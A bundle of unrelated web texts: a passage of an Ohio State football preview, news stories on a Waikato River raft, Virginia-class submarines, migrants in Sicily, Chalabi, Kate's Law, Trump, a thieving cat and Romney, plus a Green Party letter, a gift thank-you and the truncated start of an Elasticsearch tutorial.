Michigan, sophomore Tyvis Powell (48 tackles), will assume the vacant spot at strong safety; he's a really nice player, one I think will acclimate well to the starting role after spending last season as the Buckeyes' primary nickel back. That leaves OSU will six or seven bodies jostling for two spots, with little separation even as the defense ramps up its preparation for Navy. If push came to shove, I'd put sophomore Vonn Bell at free safety – though he could also set up shop at nickel back – and the combination of junior Armani Reeves and redshirt freshman Eli Apple at cornerback. But it looks very much like a fluid situation. Question how quickly Ash can reach this group, but don't sleep on the overall talent. Cornerback Doran Grant (12) breaks up the two-point conversion pass attempt to Clemson quarterback Tajh Boyd (10) in the second half of the 2014 Orange Bowl. (Photo11: Brad Barr, USA TODAY Sports) Let's attempt to make the case, however fruitless, that OSU's linebacker corps will thrive even without Ryan Shazier. I'll buy it, in fact, and here's why: Shazier was otherworldly, true, but perhaps the motivation to fill his All-American shoes brings the most out of the five or six linebackers set to top the rotation. Maybe motivation will send senior Curtis Grant off on a high note after three years of frustration; if he's ready, Grant's the guy in the middle – and if not, OSU won't hesitate to hand the job to five-star freshman Raekwon McMillan. There's a little competition underway on the strong side between sophomore Darron Lee and redshirt freshman Chris Worley, which I think will very beneficial for overall depth. And then there's the leader of the group, junior Joshua Perry (64 tackles), and I have a suspicion he's due for an all-conference season on the weak side. Also, keep in mind Ash's simplified scheme when considering OSU's potential on the second level. When this line plays together – and one starter will miss the first two games of the season – Ohio State's starting foursome will be the best in college football. Forget about the secondary, don't worry about the linebackers, don't lose sleep over the run defense; just focus on this group, which could alone carry OSU through the turmoil and to the top of the Big Ten. Here's one way to think about this quartet: Adolphus Washington (36 tackles, 4.0 for loss) is the weakest link – and he's an absolute specimen. Washington will spend this season inside, where his first step could be deadly, and join senior nose tackle Michael Bennett (42 tackles, 7.0 sacks), a very clear All-American with decidedly disruptive tendencies. It'll be sophomore Joey Bosa (44 tackles, 7.5 sacks) and junior Noah Spence (52 tackles, 8.0 sacks) on the outside, with Rashad Frazier and Steve Miller stepping into the lineup while Spence serves his two-game suspension. Washington, Spence, Bosa and Bennett: scary, scarier, scariest and my goodness, there's another. Special teams: It's a simple, oft-repeated phrase that bears one more mention, since we may never get another opportunity: In kicking competitions, always bet on the option on scholarship. Take OSU, for instance, where true freshman Sean Nuernberger – he of the scholarship – should beat out senior Kyle Clinton to replace Drew Basil at kicker. Nuernberger would give the Buckeyes two young specialists, joining sophomore punter Cameron Johnson, who is already among the Big Ten's best at the position. If the true freshman delivers on field goals, OSU should have one of the league's top three units – though Maryland's return game is a bit more explosive. Darryl Baldwin (76) is part of an offensive line in flux. (Photo11: Greg Bartram, USA TODAY Sports) POSITION(S) TO WATCH : Offensive line: It's all a little dicey, to be honest, but let's pay some respect to line coach Ed Warinner, who put together one of the program's finest groups in a decade-plus a season ago. He'll eventually get the line moving forward, it's safe to say, but I worry a touch about the unit's general cohesiveness heading into the opener. The anchor will be junior Taylor Decker, who makes the shift from right to left tackle as Jack Mewhort's replacement – and Mewhort was awesome as a senior. Beyond producing at an all-conference clip on the new quarterback's blind side, Decker needs to embrace the leadership mantle shared by three productive seniors a year ago. Two other spots are settled, both on the strong side. Right guard belongs to Pat Elflein, an impressive third-year sophomore who fared well when given the opportunity a season ago. He'll line up alongside senior Darryl Baldwin, last year's understudy on the blind side; OSU is hopeful he'll be up to the task, even if Chase Farris and Kyle Dodson sit in reserve. That leaves a pair of very intriguing competitions, at center and left guard. It's not a bad situation in the middle: Jacoby Boren and Alabama transfer Chad Lindsay give OSU two nice options, with the potential for one to shift to guard in a pinch – though neither has the size to really excel away from center. But that's on the table, if only slightly, due to the Buckeyes' lack of proven production at left guard. Trust in Warinner and trust in the scheme, yeah, but OSU needs to get on the same page. GAME(S) TO WATCH : Michigan: Or Michigan State. One of the two. The Spartans play host, which is cruel, but the Wolverines come to Columbus. The last time Michigan beat OSU on the road: Nov. 18, 2000. Meyer spent that Saturday coaching Notre Dame's wide receivers during a 45-17 win against Rutgers. SEASON BREAKDOWN & PREDICTION : In a nutshell: Ohio State had its issues even with Braxton Miller under center, running this offense to a hair shy of perfection and making a charge at the Heisman Trophy; all Miller's departure does is serve to illustrate these concerns, since he had that ability to offset the Buckeyes' weaknesses – on offense, at least. It's time for the next man up: Barrett inherits Miller's position and all of its expectations. Matching those pre-injury goals now seems like a long shot, but to ignore OSU's ability to nonetheless win the Big Ten, charge toward an undefeated season and earn a spot in the playoff would ignore all that this team can achieve despite an unprecedented setback. But let's touch on where OSU comes up lacking in comparison to the rest of the nation's elite. The first issue is the offensive line, which breaks in four full-time starters – though a few have past starting experience – and has to settle two ongoing competitions along the interior. The unit has a terrific position coach, but the line will need time to develop in advance of the heart of conference play. The second issue is the secondary and this pass defense, which will improve under Ash's tutelage but needs to take two steps forward to merely move toward the national average. Then there's quarterback, obviously, and Barrett simply lacks Miller's ability to make something out of nothing – let alone carry the offense on his own two shoulders, so Meyer and Herman face the biggest test of their turns in Columbus. OSU can still have a special season. Maybe not special, in the sense that the year ends in Dallas; it can still be special, with a young and underclassmen-heavy roster battling against the stumbling blocks to end the season bruised and beaten yet atop the Big Ten. Without any question, this team's wealth of skill talent, amazing defensive front, speed along the back seven and ever-increasing depth makes it one of the two best teams in the conference. It's not going to be easy; it's going to be hard, in fact, and it's going to take everything OSU has in the tank. It can be done: Ohio State can still do this. It'll just be exponentially harder today than it seemed earlier this week. Dream season: Even without Miller, the Buckeyes cruise through the Big Ten, win the conference title game and earn a spot in the College Football Playoff. Nightmare season: Ohio State goes 8-4, losing to Virginia Tech, Penn State, Michigan State and Michigan. UP NEXT : Who's No. 10? This program is 136-39-3 since 1980 in the seasons after winning its bowl game. RANKING EVERY FBS TEAM FOR 2014 -The raft was made up of a trampoline, a basketball hoop and an awning. A lazy day on the Waikato River turned into a schemozzle for police after more than about 20 people ended up in the drink. Hamilton police sent boats on to the river after the raft briefly capsized, throwing most on board into the water near the Pukete boat ramp on Saturday. Some were wearing lifejackets, others were not, Waikato police Senior Sergeant Ray Malcomson said. DOMINICO ZAPATA/FAIRFAX NZ The 20 people were rafting down the Waikato River. There was no immediate concern for the rafters' safety. They were being monitored by a police officer who got aboard a person's boat, he said. "Looks like most were drifting towards the bank at the Pukete boat ramp, north of Church Road." Malcolmson said most if not all of the rafters, aged between 18 and 50, managed to make it to the shore unaided. They swam to the side and scrambled out of the shallow water on to the riverbank. "The next thing is to go and rescue the raft," Malcolmson said. Leaving it posed a hazard to any other river users, he said. At 4.30pm, police were seen to be towing in a large raft consisting of a trampoline and basketball hoop to the side of the river. A scattering of people remained on board. There were a number of smaller rafts attached to the craft by rope. -Groton, Conn. – While floating partially submerged in icy waters along a dock at a General Dynamics’ Electric Boat facility here, the Navy’s first Block III Virginia-Class attack submarine is being readied for sea-trials, certifications and delivery. As a key step prior to formally handing the boat over to the Navy to begin service, Electric Boat engineers and Navy professionals are testing the electronics, wiring, missile tubes and propulsion system on-board the submarine, among other things, said Kurt Hesch, vice president of Virginia-Class submarines, Electric Boat. The USS North Dakota, the first Block III Virginia-Class submarine slated for delivery, is expected to be handed over to the Navy for service by April of this year. An April or May delivery is several months in advance of its contracted arrival in August, Navy and Electric Boat officials said. “The fact we're delivering early to the contract delivery date demonstrates we did the re-design right, something clearly demonstrated in North Dakota’s bow taking two fewer months and 8,000 fewer mandays to build than the previous ship, USS Minnesota,” Capt. Dave Goggins, program manager, Virginia-Class submarines told Military.com in a written statement. Christened in November, the USS North Dakota will be the first of eight Block III Virginia-Class boats delivered to the Navy, submarines engineered with a series of technological upgrades and innovations compared to earlier Blocks I and II boats, Navy officials said. Blocks I and II, totaling 10 ships, have already been delivered to the Navy. All eight Block III boats are being built under a $14 billion Navy deal with General Dynamics’ Electric Boat in December of 2008. Hesch and Navy officials explained that the sea trials involve three phases. They begin with an alpha-phase which assesses the ship’s ability to dive to depth and conduct emergency surfacing operations. The alpha trials also assess the submarines propulsion plant and many of the technologies. The bravo-phase tests the acoustics and combat systems and looks to correct any problems, followed by the Navy Board of Inspection and Survey trials where an independent board comes to inspect the boat prior to certification. The idea is to identify and address any potential issues with the boat well before it enters service with the Navy. “The first trial is very rigorous. We are making sure we understand the water tightness and ensuring we understand the propulsion capabilities and understand the emergency systems are working. We take these incremental steps to make sure it is a fully functional and safe ship,” Hesch said in an interview with Military.com Sea trials can last anywhere for eight to 12 weeks depending upon what issues are discovered, Hesch said. There is a lot of testing that can only happen once the ship is underwater, such as an assessment of the nuclear-reactor, propulsion plant and dive and stern planes, Hesch explained. “You start off going to a shallow depth to make sure everything is good, then you kind of work your way through the systems, making sure the propulsion plant is working the way it should,” he said. The sea trials will assess everything from the sonar systems and missile tubes to on-board electronics, command and control technologies, navigation systems, sensors and submarine computer systems. “We know what we want to test. We go out there and it is a very carefully orchestrated agenda that we follow without waiver,” said Michael Nowak, USS North Dakota ship manager, Electric Boat. Nowak said his crew will assemble the requisite repair materials and mechanics in the event that sea trials reveal the need for changes. Some of the dockside testing includes shooting launch vehicles from torpedo tubes in order to verify that the launch lines are completed and ready, Nowak added. The Block III subs, now under construction, are being built with new so-called Virginia Payload Tubes designed to lower costs and increase missile-firing payload possibilities, Navy officials explained. Instead of building what most existing Virginia-class submarines have -- 12 individual 21-inch in diameter vertical launch tubes able to fire Tomahawk missiles -- the Block III submarines are being built with two-larger 87-inch diameter tubes able to house six Tomahawk missiles each. While primarily done to lower costs for the boat, this technical change will allow the possibility of future missiles and off-board sensors to be launched from the tubes, Navy officials said. All Virginia-Class submarines are also engineered with a computerized fly-by-wire touchscreen control system wherein boat operators use a joystick to navigate, unlike the mechanical hydraulic controls uses on prior models. The Block III boats also have a Large Aperture Bow array which places a conformal sonar system in the bow of the boat, Hesch said. While all Block III submarines are currently under construction, planning for 10 Block IV Virginia Class submarines is already underway. A Navy, General Dynamics’ Electric Boat contract for 10 submarines is currently being finalized and is expected to be finished in coming months, Navy officials said. General Dynamics’ Electric Boat says they are planning a series of additional innovations for Block IV, such as a new radar and oxygen system. The Block IV deal will span years 2014 to 2018. Hesch explained that one of the goals with Block IV is to increase the number of deployments for the submarines over their 33-year service life from 14 to 15. This can primarily be accomplished by engineering the boat with longer-lasting parts and increasing the efficiency of the ship’s maintenance availability, Electric Boat officials said. Also, for Block V construction, the Navy is planning to insert a new 70-foot-long section designed to house additional missile capability. In fact, the Navy's Capabilities Development Document, or CDD, for what's called the Virginia Payload Modules is finished up and approved by the Pentagon’s Joint Requirements Oversight Council, Goggins said. The Block V Virginia Payload Modules will add a new module or section of the submarine, increasing its Tomahawk missile firing capability from 12 to 40, Navy officials said. The idea is to have additional Tomahawk or other missile capability increased by 2026, when the SSGN Ohio-Class Guided Missile Submarines start retiring, he explained. Hesch said that General Dynamics’ Electric Boat officials plan to work closely with the Navy to refine and solidify requirements in anticipation of doing early prototyping in 2015 and 2016. The new module will add 28 missiles to the pressure hull section of the boat, using four large tubes each filled with 7 missiles. This will cause a slight, two-foot-long protrusion on the hull of the submarine to allow for a hatch to open, Hesch said. In fact, the most recent Congressionally-passed budget deal approves $59 million for the Virginia Payload Modules, money which will move the developmental effort along. The last six Virginia-class submarines have been delivered ahead of schedule, Navy officials said. The six submarines were Block I and Block II Virginia-class submarines. -Unprecedented numbers are risking their lives to reach Europe, and local authorities in coastal communities where they land are struggling to cope. Lizzy Davies reports from Catania while photographer Massimo Sestini accompanied the Italian navy on its rescue missions earlier this month, offering a rare up-close glimpse of the men, women and children who make the dangerous trip to start a new life With a bandana on her head and a three-month-old baby at her feet, Azeb Brahana stands in the gardens of Catania’s train station and looks a little lost. The 25-year-old Eritrean left her country in 2012, aware, she says, that the life she wanted was not possible in a country with mandatory national service. To get here, she says, she worked for a year in Sudan and endured months in a Libyan jail, where the United Nations estimates thousands of refugees and migrants are being held in deplorable conditions. It was in prison that Brahana gave birth to her son, and it is because of him that she is determined to make it, finally, to a place of safety and stability. “Somewhere I can live with my baby, happy,” she says. Somehow, though, despite all that she has been through, that still feels like a very distant dream. Facebook Twitter Pinterest Syrian refugees on an Italian navy ship after being rescued from a fishing vessel carrying 443 Syrian asylum seekers, 5 June. Photograph: Massimo Sestini/eyevine Like almost 60,000 others this year, Brahana decided to brave the Mediterranean sea in order to reach Italy, and therefore Europe. She paid people-smugglers $1,600 (£950), she says, to board a boat packed with more than 300 people. “It’s really hard with a small baby,” she says stoically of a journey that has proved deadly for thousands over the past 20 years. Her boat was intercepted by an Italian navy ship last week and all its passengers taken to safety. The question for them now is what comes next. Brahana, like many of the refugees and migrants landing in Italy, has not yet requested asylum and is not in the care of an official structure. She is waiting for the bus to Rome, where her aunt lives. And then? “I don’t know,” she admits. “I want to work. I can’t live in my country because of the government. We need help but we don’t know where from.” Map showing key central Mediterranean migrant routes. Graphic: Guardian/Christine Oliver According to Italian interior ministry figures given to the Guardian, 59,880 migrants and refugees have landed on the country’s coast this year – almost as many as in the whole of 2011, which holds the record. The situation is unprecedented. Sicily, which has received more than 53,000 of the new arrivals, is bearing the brunt and struggling to cope. And summer – historically the peak time for boat landings – has only just begun. “I’m very afraid that in July, August and September, the situation will grow and grow,” says Rosario Valastro, president of the Italian Red Cross in Sicily. “We have some days where we have the navy arriving in three or four different ports at the same time. My volunteers are really, really tired. I’m very afraid.” At an EU summit this week, the Italian prime minister, Matteo Renzi, is expected to raise the issue with other leaders, urging them to make a “significant investment” in the bloc’s border control agency, Frontex. Since October, in the aftermath of two disasters in which around 400 people died at sea, the Italian navy has been carrying out a €9m-a-month (£7.2m) operation in the Mediterranean aimed at intercepting rickety migrant boats before they get into trouble. Mare Nostrum (“Our Sea”) is credited by the Italian government and NGOs on the ground with having saved countless lives. But Rome is determined that it should not continue to shoulder the burden alone. On Tuesday, Renzi told parliament: “A Europe that tells the Calabrian fisherman that he must use a certain technique to catch tuna but then turns its back when there are dead bodies in the sea cannot call itself civilised.” Facebook Twitter Pinterest African asylum seekers rescued off boats and taken aboard an Italy navy ship. Photograph: Massimo Sestini/eyevine All along the Sicilian coastline, in port towns better known for their beaches than for refugee crises, local authorities are begging for help – from Rome, certainly, but also from Brussels. What they need, says Lillo Firetto, mayor of Porto Empedocle, is a “supranational approach” to be taken in conjunction with the United Nations and the EU. Firetto, whose town has seen more than 8,000 arrivals this year, says the local council wants to provide a reception “worthy of its name” – but that is hard to do. “When, in the course of two days, 2,000 people arrive, and you’re forced to send them to sports halls or other makeshift structures, it’s obvious that this is not the kind of reception required,” he says. Facebook Twitter Pinterest A mother and child on a Italian navy ship after being rescued from a fishing vessel carrying 443 Syrian asylum seekers, 5 June. Photograph: Massimo Sestini/eyevine Sicilian towns from Catania on the eastern coast to Palermo in the north have been transforming sports halls, churches and other buildings into ad-hoc facilities. NGOs say the system, though well-meaning, has often proved chaotic. “The problem was, there wasn’t preparation for tackling these kinds of numbers,” says Alessandra Turri, of Save the Children Italy. “Not preparing the ground and approaching it as an emergency does not allow for organisation.” People have sometimes ended up sleeping in tents, she says, because there is simply no room at the inn. For those who do end up housed in one of the makeshift centres, the future is not much more certain. In the eastern port of Augusta, which has found itself playing a central role in the Mare Nostrum reception strategy not long after its local council was dissolved for mafia infiltration, a former primary school has been reopened to give basic food and shelter to some of the large numbers of unaccompanied minors who have come into port this year. Facebook Twitter Pinterest African asylum seekers rescued off boats and taken aboard an Italy navy ship, 8 June. Photograph: Massimo Sestini/eyevine With its cracked paint, faded children's paintings, and stretched facilities, the ex-scuola Verde, as it is known, has dormitory-style bedrooms- in fact former classrooms- which can house up to 180 minors. At its busiest, however, the school is understood to have held around 267 boys. They slept on camp beds in the corridors and the changing rooms. Some of those currently resident are understood to have been living there since early May. Many of them have stories of torture and ill-treatment on their epic journeys across Africa. “They threatened you,” says Adama Bah, 16, from Gambia, recalling his time in Libya where he says he earned the money to pay smugglers for the sea crossing to Italy. “I saw many people shot in the leg or dead.” Bah wants to be a footballer when he grows up. “That’s my dream,” he says. But here in a scruffy park in Augusta, it seems remote. “I’m not happy here because I don’t know what’s happening next.” Facebook Twitter Pinterest African asylum seekers rescued off boats and taken aboard an Italy navy ship, 8 June. Photograph: Massimo Sestini/eyevine According to Save the Children, around 5,840 unaccompanied minors have arrived on the Italian coast this year. Not all of them decide to stay in the system. At a soup kitchen opposite Catania station run by the Catholic charity Caritas, manager Valentina Calí explains that among the people who have called on its services have been “many minors who don’t want to be identified. They avoid being fingerprinted so they don’t have to request asylum in Sicily. They’re running away.” Outside a soup kitchen opposite Catania station run by the Catholic charity Carita, Teame Habte, 20, from Eritrea, is munching on some bread with some friends, who give their ages as 15 and 16. To travel to Italy, he says, he came through Ethiopia, Sudan and Libya and was taken from the sea to Lampedusa. “My uncle lives in Rome,” he says. “I will work. I will do any work. I need to send money home because my family is very poor.” Facebook Twitter Pinterest Refugees on board a fishing vessel carrying 443 Syrian asylum seekers are rescued by the Italian navy. More than 2,000 migrants jammed in 25 boats arrived in Italy, 12 June. Photograph: Massimo Sestini/eyevine NGOs on the ground say greater coordination is desperately needed in order to facilitate swift transfers to appropriate reception structures throughout Italy. “We continue to talk of an emergency about migrants … It’s not possible to talk about an “emergency” after 20 years,” says Valastro. “So we need to have a plan.” There are concerns that if the ad-hoc strategy continues and worsens through the summer, the social tensions that as yet have remained mild may be exacerbated. In Librino, a neglected part of Catania where a sports hall has been used as a temporary reception centre, the authorities moved the migrants to another hall, reportedly following concern from locals. But, surveying the scene at the Palanitta – a mass of unkempt mattresses, discarded clothes and other detritus lying between two redundant goalposts – one local is still angry. “This is what we’re left with,” he says, declining to give his name. “This is the only place where the children of this neighbourhood can come and play sport; now look at it. OK, there are going to be these boat landings. But there should be proper places for them to go. They can’t just pick a place like this and say: that one.” Facebook Twitter Pinterest African asylum seekers rescued off boats and taken aboard an Italy navy ship. Photograph: Massimo Sestini/eyevine When Sicily first started to see an increase in the number of arrivals last year, the local community responded well, with donations pouring in and young people working to form a kind of network of solidarity, according to Emiliano Abramo, representative of the Sant’Egidio Christian community in Catania. “Now these things are being felt less,” he says. “In many places we have a generational clash. It seems with the economic crisis there always has to be someone to be angry with. In Augusta, this is what happened. The youngsters play football with the migrants. And their parents circulate petitions to send them away.” -BAGHDAD -- Ahmed Chalabi, the onetime U.S. ally, is in the limelight again, and his actions are proving no less controversial than they did years ago. On the eve of Iraq's parliamentary elections, Chalabi is driving an effort aimed at weeding out candidates tied to Saddam Hussein's Baath Party. Chalabi is reprising a role he played after the U.S.-led invasion -- which many critics believe he helped facilitate with faulty intelligence -- and, in the process, is infuriating American officials and some Iraqis, who suspect his motive is to bolster his own political bloc. Chalabi, a Shiite, has defended the work of the commission he is leading as legal and crucial during a period of transition to Iraq's first sovereign government. But his reemergence on the political scene has rankled U.S. officials and fueled concerns that Sunnis and other secular Iraqis will be marginalized. Some Iraqi and U.S. officials think Chalabi might have his eyes on the ultimate prize, however unlikely he can attain it. "Even if it kills him, he's going to stay in Iraq to try to become prime minister," said Ezzat Shahbandar, a Shiite lawmaker from a competing slate who has known Chalabi for more than 20 years. "This issue is the only tool he has, because he has nothing else going for him." Chalabi fell out of favor with the Americans in 2004, after they accused him of spying for Iran. The year before, though, he had been appointed to head a U.S.-formed commission to rid the government of officials tied to Hussein's regime. The hasty, wholesale purge that the commission conducted is now widely seen as a catalyst of the insurgency and Iraq's sectarian war. Today, however, Chalabi remains at the helm of a similar "de-Baathification" panel, the Justice and Accountability Commission, because parliament has not appointed new members. When the commission recently announced the disqualification of nearly 500 candidates from the March 7 parliamentary elections, critics noted that candidates from Sunni-led and mixed secular coalitions were disproportionately targeted. Many of those ousted were rivals of Chalabi's bloc. A court impaneled to review the cases carried out a cursory review behind closed doors. Candidates were allowed to submit written appeals but were never told the specific nature of the allegations against them. The court disqualified 145 candidates; most others dropped out or their parties replaced them. Now the disqualifications are widening sectarian and religious divides in Iraq, even as it continues to reel from decades of authoritarian rule, occupation and bloodshed. This week, in an apparent attempt to allay some of the bitterness, the government said it would reinstate 20,000 former army officers ousted because of their ties to Hussein. But the political disqualifications threaten to undermine the elections, overshadowing campaign issues such as security, unemployment and basic services. At the center of it all is Chalabi. -WATCH: Carjacking Suspect Steals Police Patrol Car During Investigation 'Outnumbered' Takes on Anti-Trump Celebs: 'Who Cares What These People Think?' Sickening New ISIS Video Shows Children Murdering Prisoners Congress has reintroduced a piece of legislation known as "Kate's Law," which targets undocumented immigrants who illegally return to the U.S. after being deported. Kate's Law is named after Kate Steinle, who was gunned down in July 2015 in the so-called sanctuary city of San Francisco by Juan Francisco Lopez-Sanchez, who authorities said had re-entered the country after being deported. The law would impose a minimum five-year federal prison sentence on those who illegally return after deportation. Fox News anchor and attorney Gregg Jarrett joined "Happening Now" Monday to discuss this legislation. Sen. Ted Cruz (R-TX) and U.S. Rep. Steve King (R-IA) introduced the bill last week. Kate's Law passed last year in the House of Representatives but was filibustered by Senate Democrats. "This would be an automatic five-year mandatory minimum in federal hard lockup. That is a serious deterrent. ... When somebody stays in another country because they don't want to do hard time here, they're not going to be committing crimes here," Jarrett said. One of the arguments against the bill is that the U.S. Sentencing Commission estimates it would add 57,000 people to federal prisons at a cost of up to $2 billion annually. Watch the segment above, and tell us what you think in the comments section. Huckabee: Democrats Still Think Everyone Deserves a Trophy U of Chicago Offers Students a Reward to Downplay City's Violence Epidemic GOP Rep: Idea That Trump Will End Your Health Plan Is Another Democrat 'Whopper' -Your editorial (2 May) recommending a Labour vote at the general election acknowledges that “it would be good to hear Green voices in Westminster to press further on climate change and sustainability”. I agree - which is why I’d urge your readers to vote Green. The Greens are the only nationwide party to commit to urgent and ambitious action on climate change, and we have been almost alone in championing the very fossil fuel divestment movement the Guardian has acknowledged is so critically important. Not only that. A group of leading academics, Academics Stand Against Poverty, has analysed the different party manifestos from the perspective of poverty eradication and concluded that “none of the main parties, except the Greens, have an effective strategy to address poverty at this election. The Greens seem to consistently propose innovative policies to address long-standing public policy challenges.” Moreover, when it comes to safeguarding our precious NHS, I was privileged to be the MP who introduced the NHS reinstatement bill in parliament a few months ago - a bill that goes far further than Labour in not only repealing the government’s Health and Social Care Act 2012, but also in reversing the past 25 years of marketisation in our health service. And since neither of the bigger parties is on course to win anything like an overall majority, the role of the smaller parties will be more important than ever. Greens have been clear that we would never prop up a Tory government, but that we would support a minority Labour government on a case-by-case basis – and would never support a vote of no confidence in it. If people want to hear to continue to hear Green voices at Westminster, it’s crucial they vote for them on Thursday. Caroline Lucas Green candidate, Brighton Pavilion -I've been really fortunate with exchanges so far, and this was the first exchange I was rematched to someone. I want to thank all rematch santas, first and foremost - you're all very kind people. However, my rematch Santa in particular was an absolute legend. Thank you so much for these awesome gifts! Let me start at the top: 1) Some delicious black tea leaves. Let me just say now, that I would have been so happy with this gift alone - because for the first time since we moved into our house 5.5 years ago, I've been able to have a proper cuppa tea. Santa you are amazing. I don't know what is wrong with our house, but I haven't been able to make a good tasting cup of tea, despite buying new tea bags, changing the kettle, trying Evian water instead etc. So THANK YOU so much for allowing me to finally have a good cup of tea. 2) A big bag of coffee beans. I don't have a grinder or cafetière yet to enjoy these - but the husband is buying me some as a gift. I can't wait to try these! 3) I don't know if you have a spy camera on me, but I absolutely LOVE Pumpkin Spice Lattes, and I had no idea you could buy the syrup - so I'm absolutely made up with my big bottle of Pumpkin Spice syrup. Rematch Santa - thank you so, so much. You're a sweetheart <3 -Many Native Americans are “extremely proud” that the term “Redskins” is the name of Washington, D.C.’s football team, according to Donald Trump. In remarks reported by the New York Times on Monday, the Republican presidential candidate said he agreed with his rival Jeb Bush that the NFL team should not change its controversial name, which is a dictionary-defined racial slur. “Honestly, I don’t think they should change the name, unless the owner wanted to,” he said. “I know Indians that are extremely proud of that name.” The majority of American Indians find the name “Redskins” offensive, according to the most recent polling. The 2014 poll from California State University, San Bernardino found that 67 percent of American Indians agreed that the term is “a racial or racist word and symbol,” while 12 percent were neutral and 20 percent disagreed. Advertisement Despite this and acts of protest by native groups across the country, team owner Dan Snyder has famously said he’ll never change it. Trump’s support for the name is not the first time he has clashed with Native Americans. Last month, the Republican front-runner expressed outrage over President Obama’s decision to restore Mount McKinley’s name back to Denali, its indigenous Alaskan name. Trump promised to reverse that decision if elected president, saying it was a “great insult to Ohio” that the Alaskan Mountain was no longer named after the Ohio-born former president, who had never been to Alaska. Trump also had a rocky relationship with Native American communities in upstate New York, because of their competing casino businesses. To discourage business in those Native-owned casinos, Trump funded ads that attempted to characterize the community as criminal drug users. “Are these the kind of neighbors we want?” the ads asked, referring to Native Americans. When those casinos began doing better than Trump’s, he became unhappy, and later accused the casino owners of not being authentic Native Americans during a Congressional Subcommittee Native American Affairs hearing. Advertisement “‘They don’t look like Indians to me,” he said at the time, “and they don’t look like Indians to Indians.” That comment drew “gasps and puzzled looks of disbelief” from the mostly-Native American audience in 1993. Now, Trump’s relationship with the community does not seem to be doing any better. “It is hardly surprising that a candidate who labeled Mexican immigrants rapists and calls women ‘pigs’ now says he wants the NFL to continue slurring Native Americans,” said the group Change the Mascot, led by the National Congress of American Indians and the Oneida Indian Nation, in a statement. “Donald Trump joins some of the NFL’s ignoble fraternity of billionaires who sit in their office suites and owners boxes happily spending their fortunes denigrating people of color.” -Cat steals from everyone in San Mateo neighborhood SAN MATEO "Dusty" rests among the many items, on Friday June 17, 2011, that he has brought home over the years to his house in San Mateo, Ca. "Dusty" the cat has a habit of stealing and his owners have more than 600 items the cat has acquired over the past three years including, towels, shoes, bras, hats and many more items. less "Dusty" rests among the many items, on Friday June 17, 2011, that he has brought home over the years to his house in San Mateo, Ca. "Dusty" the cat has a habit of stealing and his owners have more than 600 ... more Photo: Michael Macor, The Chronicle Photo: Michael Macor, The Chronicle Image 1 of / 4 Caption Close Cat steals from everyone in San Mateo neighborhood 1 / 4 Back to Gallery Lucky for Dusty he's a cat. Otherwise he'd surely be in jail, or at least a 12-step program. The San Mateo feline has pilfered more than 600 items from neighbors - behavior so odd it's baffled and delighted animal experts and made Dusty a minor celebrity. "It's extreme, but it's absolutely adorable," said Marilyn Krieger, a cat behavior consultant in Redwood City. "I can't say exactly why he's doing it, except it has to do with mixed-up neurotransmitters. I think it's a form of OCD." Dusty's nocturnal heists started about four years ago, a year after his owners adopted him as a kitten from the Peninsula Humane Society. "I noticed a piece of latex glove on the bed one morning and told my husband he should do a better job cleaning up his work stuff," said Jean Chu, a dentist. "He said, 'It wasn't me. I think it was the cat.' " After that, Chu and her husband, Jim Coleman, were greeted each morning with a tableau of neighborhood detritus on their doorstep: gloves, towels, Crocs, swim trunks, Safeway bags, bubble wrap, a Giants cap and other backyard sundries. Chu started keeping a log of Dusty's haul, which averages three or four items a night. His record spree is 11 in a 24-hour period. "It's work. Every time I go out to get the paper in the morning, I have to pick up after him," said Coleman, an artist. "Sometimes he brings things that are sort of expensive. I get a little worried about that." As for the booty, Chu washes it and hunts for the rightful owner. If she can't find the owner, she stores the loot in boxes in the dining room. The boxes are now piled two deep. "He stole my bikini," said Kelly McLellan, who lives a few doors up the street. "He did it in two trips. He was very focused on keeping the ensemble. When it went missing I wasn't worried, though. I knew where to go." McLellan's son, Ethan, 6, lost a Nerf rocket football. "I looked for it, but I didn't know where it went," he said. "Then I remembered. The cat took it." Stephanie Somers' family lost six bathing suits and countless shorts, towels and car wash sponges. "We don't leave anything out anymore," she said. "But we don't mind. We like Dusty." A year ago Chu contacted People magazine about her kleptomaniac kitty, and a star was born. Dusty has been on the David Letterman show and Animal Planet, and infrared footage of his nighttime antics are a hit on YouTube - there's even video of him dragging home a brassiere. The public can meet Dusty at an adoption event June 25 at the Peninsula Humane Society, where he will be posing for photos and allowing fans to pet him. Dusty's predilection for theft is rare but not unheard of, animal experts said. Some cats will bring home half-dead mice, acting on their instinct to teach kittens to hunt. Dusty's habit is likely related to that somehow, minus the kittens and mice. "It's like a predatory instinct gone awry," said Richmond cat consultant Mikel Delgado. "He's obviously very bold." Anika Liljenwall, behavior associate at the Peninsula Humane Society, said Dusty's predatory instinct has become "crossed in his head." "In his mind he's caught something and he's bringing it home to share," she said. Neuroses aside, everyone agrees Dusty seems to be a perfectly happy and healthy cat. "We always try to find meaning in what animals do," Liljenwall said. "But maybe he just does this because it's fun." -Presumptive Republican nominee Mitt Romney apologized today after a report from The Washington Post's Jason Horowitz detailed episodes in which Romney bullied high school classmates, including two who later revealed they were gay. “Back in high school, I did some dumb things and if anybody was hurt by that or offended, obviously I apologize for that," Romney said during an interview with radio host Brian Kilmeade that was not included on a schedule of Romney's media events distributed to reporters. "I participated in a lot of hijinks and pranks during high school and some might have gone too far and for that, I apologize.” Horowitz describes one incident in which Romney, assisted by classmates, cut off the bleached hair of a younger student who later came out of the closet. “He can’t look like that. That’s wrong. Just look at him!” an incensed Romney told Matthew Friedemann, his close friend in the Stevens Hall dorm, according to Friedemann’s recollection. Mitt, the teenaged son of Michigan Gov. George Romney, kept complaining about [John] Lauber’s look, Friedemann recalled. A few days later, Friedemann entered Stevens Hall off the school’s collegiate quad to find Romney marching out of his own room ahead of a prep school posse shouting about their plan to cut Lauber’s hair. Friedemann followed them to a nearby room where they came upon Lauber, tackled him and pinned him to the ground. As Lauber, his eyes filling with tears, screamed for help, Romney repeatedly clipped his hair with a pair of scissors. “I don’t remember that incident,” Romney told Kilmeade, chuckling. “I certainly don’t believe that I thought the fellow was homosexual. That was the furthest thing from our minds back in the 1960s, so that was not the case.” -Elasticsearch is real-time,distributed,full-text search analytics engine.It is built on top of Apache Lucene™.You can read it more on their website. It provides a distributed, multitenant-capable full-text search engine with a RESTful web interface and schema-free JSON documents. Elasticsearch is developed in Java and is released as open source under the terms of the Apache License. Elasticsearch is the second most popular enterprise search engine. In this post we will learn pagination over selected data using Scroll API of elasticsearch .The scenario will be that we will take json data from input file and insert into ES index ,after that we will request a search query through Scroll API and fetch specified size of records from scrolled data. Now, start with adding dependency of elasticsearch in the project.Here is the snippet in build.sbt file. name := 